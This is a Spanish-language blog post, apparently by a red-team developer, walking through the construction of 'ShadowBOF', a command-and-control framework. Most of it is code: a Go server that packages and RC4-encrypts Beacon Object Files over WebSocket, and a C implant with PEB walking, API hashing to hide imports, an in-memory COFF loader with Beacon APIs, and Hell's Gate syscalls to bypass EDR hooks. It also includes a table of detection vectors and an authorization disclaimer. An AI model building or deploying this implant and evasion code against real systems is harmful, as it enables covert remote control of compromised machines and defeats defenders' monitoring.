ShadowBOF: Anatomía de un Framework C2 desde Cero

ShadowBOF: Anatomía de un Framework C2 desde Cero

Desarrollo de ShadowBOF - C2 con WebSocket, PEB Walking, BOFs y Syscalls indirectos

13 min de lectura
← Back to blog

Introducción

El desarrollo de herramientas de Red Team requiere un entendimiento profundo de los mecanismos internos de Windows, protocolos de red, y las técnicas que utilizan los EDR para detectar actividad maliciosa. Este post documenta la construcción de ShadowBOF, un framework C2 desarrollado desde cero, explicando cada decisión técnica y sus implicaciones.

ShadowBOF implementa:

  • Comunicación bidireccional vía WebSocket
  • Resolución de APIs mediante PEB Walking
  • Ejecución de Beacon Object Files (BOFs) en memoria
  • Syscalls indirectos para evadir hooks de user-mode

Nota: ShadowBOF es un POC educativo enfocado específicamente en la transmisión y ejecución de Beacon Object Files (BOFs). No pretende ser un C2 completo - frameworks de producción como Cobalt Strike o Havoc implementan características adicionales como sleep obfuscation, malleable profiles, evasión de AMSI/ETW, y módulos de persistencia que están fuera del alcance de este proyecto.


Arquitectura del Sistema

ShadowBOF se compone de dos elementos: un servidor escrito en Go que proporciona la interfaz de operador, y un agente en C que se ejecuta en el sistema objetivo.

ShadowBOF - CLI del servidor C2

El servidor expone una CLI interactiva construida con el framework Cobra, que permite gestionar múltiples agentes simultáneamente. La comunicación utiliza WebSocket sobre HTTP, lo que permite atravesar firewalls y proxies corporativos sin levantar alertas.

+-----------------------------------------------------------+
|                 SHADOWBOF SERVIDOR (Go)                    |
|  +-------------+  +-------------+  +-------------------+  |
|  |     CLI     |  |  WebSocket  |  |   Gestión BOFs    |  |
|  |    Cobra    |  |   Handler   |  |   (COFF files)    |  |
|  +-------------+  +-------------+  +-------------------+  |
+----------------------------+------------------------------+
                             | ws:// + RC4
                             v
+-----------------------------------------------------------+
|                 SHADOWBOF AGENTE (C/x64)                   |
|  +-------------+  +-------------+  +-------------------+  |
|  | PEB Walking |  |   WinHTTP   |  |   COFF Loader     |  |
|  | API Hashing |  |  WebSocket  |  |   + Beacon APIs   |  |
|  +-------------+  +-------------+  +-------------------+  |
+-----------------------------------------------------------+

Servidor Go: Handler WebSocket

El servidor utiliza la librería gorilla/websocket para manejar las conexiones. Cada agente mantiene una conexión persistente que el servidor gestiona en una goroutine dedicada:

func (s *Server) handleAgent(w http.ResponseWriter, r *http.Request) {
    conn, err := s.upgrader.Upgrade(w, r, nil)
    if err != nil {
        return
    }

    agent := &Agent{
        ID:       generateAgentID(),
        Conn:     conn,
        LastSeen: time.Now(),
    }
    s.agents.Store(agent.ID, agent)

    go s.readLoop(agent)
}

func (s *Server) readLoop(agent *Agent) {
    defer agent.Conn.Close()

    for {
        _, message, err := agent.Conn.ReadMessage()
        if err != nil {
            s.agents.Delete(agent.ID)
            return
        }

        // Descifrar con RC4
        decrypted := rc4Decrypt(s.key, message)
        s.handleMessage(agent, decrypted)
    }
}

Empaquetado de BOFs

Cuando el operador ejecuta run <bof>, el servidor construye el paquete binario:

func (s *Server) buildBOFPacket(bofPath, entry string, args []string) []byte {
    // Leer archivo COFF
    coffData, _ := os.ReadFile(bofPath)

    // Empaquetar argumentos
    argsBuf := packArguments(args)

    // Construir payload: [EntryLen][Entry][ArgsLen][Args][COFF]
    var payload bytes.Buffer

    // Entry point
    binary.Write(&payload, binary.LittleEndian, uint32(len(entry)))
    payload.WriteString(entry)

    // Argumentos
    binary.Write(&payload, binary.LittleEndian, uint32(len(argsBuf)))
    payload.Write(argsBuf)

    // COFF data
    payload.Write(coffData)

    // Cifrar payload (RC4 Inner)
    encPayload := rc4Encrypt(s.innerKey, payload.Bytes())

    // Construir paquete final: [Cmd][Size][EncPayload]
    var packet bytes.Buffer
    binary.Write(&packet, binary.LittleEndian, uint32(CMD_BOF_EXECUTE))
    binary.Write(&packet, binary.LittleEndian, uint32(len(encPayload)))
    packet.Write(encPayload)

    // Cifrar paquete completo (RC4 Outer)
    return rc4Encrypt(s.outerKey, packet.Bytes())
}

func packArguments(args []string) []byte {
    var buf bytes.Buffer
    for _, arg := range args {
        binary.Write(&buf, binary.LittleEndian, uint32(len(arg)+1))
        buf.WriteString(arg)
        buf.WriteByte(0x00) // NULL terminator
    }
    return buf.Bytes()
}

Resolución Dinámica de APIs

El Problema con los Imports Estáticos

Cuando un binario importa funciones de Windows de forma tradicional, estas aparecen en la Import Address Table (IAT). Cualquier analista puede inspeccionar el binario con herramientas como dumpbin o IDA Pro y obtener una lista completa de las APIs que utiliza.

Adicionalmente, los EDR hookean funciones como GetProcAddress y LoadLibrary para monitorear qué APIs resuelve un proceso en tiempo de ejecución.

PEB Walking

La solución es acceder directamente a las estructuras internas de Windows. El Process Environment Block (PEB) contiene una lista enlazada de todos los módulos cargados en el proceso. Navegando esta estructura podemos localizar cualquier DLL y parsear su Export Table manualmente.

PPEB pPeb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA pLdr = pPeb->Ldr;
PLIST_ENTRY head = &pLdr->InMemoryOrderModuleList;

for (PLIST_ENTRY curr = head->Flink; curr != head; curr = curr->Flink) {
    PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr,
        LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

    if (hash_wstring(entry->BaseDllName.Buffer) == HASH_KERNEL32) {
        return entry->DllBase;
    }
}

API Hashing con djb2

Para evitar que los strings de nombres de funciones aparezcan en el binario, utilizamos hashes pre-calculados:

#define HASH_WinHttpOpen      0x5E4F39E5
#define HASH_WinHttpConnect   0x7242C17D
#define HASH_WinHttpSendRequest 0xB183FAA6

El algoritmo djb2 es simple pero efectivo para este propósito. Los hashes se calculan en tiempo de compilación con una herramienta auxiliar.


Protocolo de Comunicación

WebSocket sobre HTTP

La decisión de usar WebSocket en lugar de sockets TCP raw tiene varias ventajas operacionales:

CaracterísticaTCP RawWebSocket
PuertoCustom (ej: 4444)80/443
FirewallGeneralmente bloqueadoPermitido
Proxy corporativoNo funcionaSoportado
Inspección DPIProtocolo desconocidoTráfico HTTP válido

La implementación utiliza las APIs nativas de WinHTTP, que están presentes en todas las versiones de Windows desde Vista.

Cifrado del Canal

El tráfico se cifra con RC4 utilizando una clave pre-compartida. La elección de RC4 es pragmática: es simple de implementar y suficiente para ofuscar el contenido del tráfico. Para un despliegue real, debería considerarse TLS o un cifrado más robusto.

El protocolo implementa doble cifrado para los payloads de BOF:

+-----------------------------------------------+
|          Frame WebSocket (Binario)            |
+-----------------------------------------------+
| RC4_Outer(                                    |
|   [Comando:4][Tamaño:4][                      |
|     RC4_Inner(Payload_BOF)                    |
|   ]                                           |
| )                                             |
+-----------------------------------------------+

Anatomía de un Paquete BOF

El formato del paquete que transporta un BOF es el siguiente:

Offset  Bytes  Campo           Descripción
------  -----  --------------  ----------------------------------
0x00    4      Comando         0x100 = BOF_EXECUTE
0x04    4      Tamaño Total    Longitud del payload que sigue
0x08    4      Entry Len       Longitud del nombre del entry point
0x0C    N      Entry Point     Nombre de la función (ej: "go")
0x0C+N  4      Args Len        Longitud de los argumentos
0x10+N  M      Arguments       Argumentos empaquetados
0x10+N+M ...   COFF Data       Archivo .o completo (binario)

Ejemplo concreto para run sysinfo:

00000000  00 01 00 00  # Comando: 0x100 (BOF_EXECUTE)
00000004  18 09 00 00  # Tamaño: 2328 bytes
00000008  02 00 00 00  # Entry Len: 2
0000000C  67 6F        # Entry: "go"
0000000E  00 00 00 00  # Args Len: 0 (sin argumentos)
00000012  64 86 ...    # COFF Header (Machine: 0x8664 = AMD64)

Flujo de Transmisión Completo

El diagrama siguiente muestra el flujo completo de ejecución de un BOF:

Flujo completo de transmisión BOF

FASE 1 - Preparación: El operador ejecuta run sysinfo en la CLI.

FASE 2 - Empaquetado: El servidor:

  • Lee el archivo sysinfo.o desde disco
  • Construye el buffer con formato [EntryLen][Entry][ArgsLen][Args][COFF]
  • Aplica RC4 Inner al payload
  • Aplica RC4 Outer al paquete completo

FASE 3 - WebSocket: El frame binario se envía por la conexión persistente.

FASE 4 - Recepción: El agente:

  • Recibe el frame con WinHttpWebSocketReceive
  • Aplica RC4 Outer para obtener [Cmd][Size][Payload]
  • Verifica que Cmd == 0x100 (BOF_EXECUTE)
  • Aplica RC4 Inner al payload

FASE 5 - Carga COFF: El loader:

  • Parsea los headers COFF
  • Allocate memoria vía syscall indirecto
  • Copia las secciones (.text, .data, .rdata)
  • Resuelve símbolos externos (APIs de Windows, Beacon APIs)
  • Aplica relocaciones

FASE 6 - Ejecución: Se llama a go(args, args_len).

FASE 7 - Retorno: El output en g_output_buffer se empaqueta, cifra, y retorna al servidor.


Beacon Object Files (BOFs)

¿Qué son los BOFs?

Los BOFs son archivos COFF (Common Object File Format) que contienen código compilado pero no enlazado. La ventaja es que pueden ejecutarse directamente en memoria sin necesidad de escribir un ejecutable a disco.

El Cargador COFF

El proceso de carga implica:

  1. Parsear el header COFF - Validar arquitectura (x64) y extraer metadatos
  2. Mapear secciones - Copiar .text, .data, .rdata a memoria ejecutable
  3. Resolver símbolos externos - Traducir referencias como __imp_KERNEL32$VirtualAlloc
  4. Aplicar relocaciones - Ajustar direcciones relativas
  5. Ejecutar - Llamar a la función go()
int execute_bof_with_args(BYTE* bof_data, const char* entry,
                          char* args, int args_len) {
    PCOFF_FILE_HEADER header = (PCOFF_FILE_HEADER)bof_data;

    void* base = IndirectVirtualAlloc(NULL, size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Mapear secciones, resolver símbolos, aplicar relocaciones...

    void (*go)(char*, int) = find_entry_point("go");
    go(args, args_len);
}

Resolución de Símbolos COFF

El paso más complejo del cargador es resolver los símbolos externos. Los BOFs utilizan una convención de nombres especial: __imp_DLL$Function indica que se necesita importar Function desde DLL.dll.

typedef struct {
    char    Name[8];        // Nombre o offset a string table
    DWORD   Value;          // Valor del símbolo
    SHORT   SectionNumber;  // Sección donde está definido
    WORD    Type;           // Tipo del símbolo
    BYTE    StorageClass;   // IMAGE_SYM_CLASS_*
    BYTE    NumberOfAuxSymbols;
} COFF_SYMBOL;

void* resolve_symbol(const char* symbol_name) {
    // Verificar si es un import externo
    if (strncmp(symbol_name, "__imp_", 6) != 0) {
        return NULL;
    }

    // Parsear formato: __imp_DLL$Function
    const char* dll_func = symbol_name + 6;
    char* separator = strchr(dll_func, '$');
    if (!separator) return NULL;

    // Extraer nombre de DLL
    size_t dll_len = separator - dll_func;
    char dll_name[64];
    memcpy(dll_name, dll_func, dll_len);
    dll_name[dll_len] = '\0';
    strcat(dll_name, ".dll");

    // Nombre de la función
    const char* func_name = separator + 1;

    // Resolver usando PEB Walking (evita GetProcAddress hookeado)
    HMODULE hModule = get_module_by_hash(hash_string(dll_name));
    if (!hModule) {
        // Cargar DLL si no está en memoria
        hModule = load_library_peb(dll_name);
    }

    return get_proc_address_peb(hModule, func_name);
}

La función resolve_symbol itera sobre la tabla de símbolos del COFF:

void process_symbols(BYTE* coff_base, BYTE* mapped_base) {
    PCOFF_FILE_HEADER header = (PCOFF_FILE_HEADER)coff_base;
    PCOFF_SYMBOL symbols = (PCOFF_SYMBOL)(coff_base + header->PointerToSymbolTable);
    char* string_table = (char*)(symbols + header->NumberOfSymbols);

    for (DWORD i = 0; i < header->NumberOfSymbols; i++) {
        PCOFF_SYMBOL sym = &symbols[i];

        // Obtener nombre del símbolo
        char sym_name[256];
        if (sym->Name[0] == 0) {
            // Nombre en string table (offset en bytes 4-7)
            DWORD offset = *(DWORD*)&sym->Name[4];
            strcpy(sym_name, string_table + offset);
        } else {
            // Nombre inline (máx 8 chars)
            memcpy(sym_name, sym->Name, 8);
            sym_name[8] = '\0';
        }

        // Resolver símbolos externos (SectionNumber == 0)
        if (sym->SectionNumber == 0 && sym->StorageClass == IMAGE_SYM_CLASS_EXTERNAL) {
            void* resolved = resolve_symbol(sym_name);
            if (resolved) {
                // Guardar dirección resuelta para las relocaciones
                g_symbol_addresses[i] = (UINT64)resolved;
            }
        }

        // Saltar símbolos auxiliares
        i += sym->NumberOfAuxSymbols;
    }
}

Relocaciones: Un Ejemplo Práctico

Cuando el BOF contiene una llamada como:

KERNEL32$GetComputerNameA(buffer, &size);

El compilador genera:

call [rip + 0x00000000]  ; Placeholder, necesita patch

El loader encuentra el símbolo __imp_KERNEL32$GetComputerNameA en la tabla de símbolos, lo traduce a “KERNEL32.dll” + “GetComputerNameA”, resuelve la dirección real, y parchea el offset:

// Calcular offset relativo
INT32 offset = (INT32)((BYTE*)real_func - (BYTE*)reloc_addr - 4);
*(INT32*)reloc_addr = offset;

Después del patch:

call [rip + 0x00001A3C]  ; Ahora apunta a GetComputerNameA

Sistema de Argumentos

Los BOFs pueden recibir parámetros desde la línea de comandos del C2:

C2> run portscan 192.168.1.0/24 445

El servidor empaqueta los argumentos en formato binario:

[Len:4][String + NULL][Len:4][String + NULL]...

El BOF los extrae usando las Beacon APIs estándar:

void go(char* args, int length) {
    datap parser;
    BeaconDataParse(&parser, args, length);

    char* target = BeaconDataExtract(&parser, NULL);
    int port = BeaconDataInt(&parser);

    // Lógica del BOF...
}

Implementación de Beacon APIs

Para que los BOFs funcionen, el agente debe proveer las Beacon APIs que estos esperan. Estas funciones se registran como símbolos especiales que el cargador COFF resuelve:

// Buffer global para output del BOF
char g_output_buffer[0x10000];
int  g_output_length = 0;

// Estructura para parsear argumentos
typedef struct {
    char* original;  // Puntero al inicio del buffer
    char* buffer;    // Puntero actual de lectura
    int   length;    // Bytes restantes
    int   size;      // Tamaño total original
} datap;

void BeaconDataParse(datap* parser, char* buffer, int size) {
    if (!parser) return;
    parser->original = buffer;
    parser->buffer   = buffer;
    parser->length   = size;
    parser->size     = size;
}

char* BeaconDataExtract(datap* parser, int* out_size) {
    if (!parser || parser->length < 4) return NULL;

    // Leer longitud (4 bytes, little-endian)
    int len = *(int*)parser->buffer;
    parser->buffer += 4;
    parser->length -= 4;

    if (parser->length < len) return NULL;

    char* result = parser->buffer;
    parser->buffer += len;
    parser->length -= len;

    if (out_size) *out_size = len;
    return result;
}

int BeaconDataInt(datap* parser) {
    if (!parser || parser->length < 4) return 0;

    int value = *(int*)parser->buffer;
    parser->buffer += 4;
    parser->length -= 4;
    return value;
}

short BeaconDataShort(datap* parser) {
    if (!parser || parser->length < 2) return 0;

    short value = *(short*)parser->buffer;
    parser->buffer += 2;
    parser->length -= 2;
    return value;
}

La función BeaconPrintf es crucial para que los BOFs retornen output al operador:

void BeaconPrintf(int type, const char* fmt, ...) {
    va_list args;
    va_start(args, fmt);

    int remaining = sizeof(g_output_buffer) - g_output_length;
    if (remaining <= 0) return;

    int written = vsnprintf(
        g_output_buffer + g_output_length,
        remaining,
        fmt,
        args
    );

    if (written > 0) {
        g_output_length += written;
    }

    va_end(args);
}

// Para output binario (ej: screenshots, dumps)
void BeaconOutput(int type, char* data, int len) {
    if (g_output_length + len > sizeof(g_output_buffer)) {
        len = sizeof(g_output_buffer) - g_output_length;
    }

    memcpy(g_output_buffer + g_output_length, data, len);
    g_output_length += len;
}

El cargador COFF registra estas funciones para que sean resolubles:

typedef struct {
    const char* name;
    void*       address;
} BeaconAPI;

BeaconAPI g_beacon_apis[] = {
    { "BeaconDataParse",   BeaconDataParse   },
    { "BeaconDataExtract", BeaconDataExtract },
    { "BeaconDataInt",     BeaconDataInt     },
    { "BeaconDataShort",   BeaconDataShort   },
    { "BeaconPrintf",      BeaconPrintf      },
    { "BeaconOutput",      BeaconOutput      },
    { NULL, NULL }
};

void* resolve_beacon_api(const char* name) {
    for (int i = 0; g_beacon_apis[i].name != NULL; i++) {
        if (strcmp(name, g_beacon_apis[i].name) == 0) {
            return g_beacon_apis[i].address;
        }
    }
    return NULL;
}

Syscalls Indirectos

Hooks de User-Mode

Los EDR modernos inyectan DLLs en cada proceso y hookean las funciones de ntdll.dll. Cuando el proceso llama a NtAllocateVirtualMemory, el EDR intercepta la llamada, registra los parámetros, y decide si permitirla.

Hell’s Gate

La técnica consiste en leer el System Service Number (SSN) directamente de ntdll y ejecutar la instrucción syscall nosotros mismos:

mov r10, rcx
mov eax, 0x18        ; SSN de NtAllocateVirtualMemory
syscall
ret

El SSN se obtiene parseando los primeros bytes de cada función Nt*. Si la función no está hookeada, el patrón es predecible:

4C 8B D1        mov r10, rcx
B8 XX XX 00 00  mov eax, SSN

Consideraciones Operacionales

Detección

TécnicaVector de Detección
PEB WalkingAcceso a gs:[0x60] desde código no firmado
Syscalls directosInstrucción syscall fuera del rango de ntdll
Memoria RWXAllocaciones con PAGE_EXECUTE_READWRITE
COFF en memoriaSignature 0x8664 en regiones no-imagen

Limitaciones del Proyecto

ShadowBOF es un POC educativo. Para uso operacional faltaría implementar:

  • Sleep obfuscation (CFG bypass, stack spoofing)
  • Malleable C2 profiles
  • Evasión automática de AMSI/ETW
  • Módulos de persistencia
  • Pivoting y proxying
  • Staged payloads

Conclusiones

El desarrollo de ShadowBOF proporciona una comprensión profunda de:

  • Estructuras internas de Windows (PEB, TEB, PE format)
  • Mecanismos de detección de EDRs
  • Diseño de protocolos seguros
  • Técnicas de ejecución en memoria

Entender estas técnicas es esencial tanto para equipos ofensivos que necesitan desarrollar tooling personalizado, como para equipos defensivos que deben detectar estas tácticas.


Referencias


Este material es únicamente para propósitos educativos y de investigación en seguridad. Cualquier uso de estas técnicas requiere autorización explícita del propietario del sistema objetivo.

#RedTeam #C2Development #OffensiveSecurity #MalwareDevelopment

Contents

0/0 sections read

No headings found
Press ESC to closeNavigation

Latest Posts

See all posts

¿Listo para colaborar?

Hablemos de seguridad ofensiva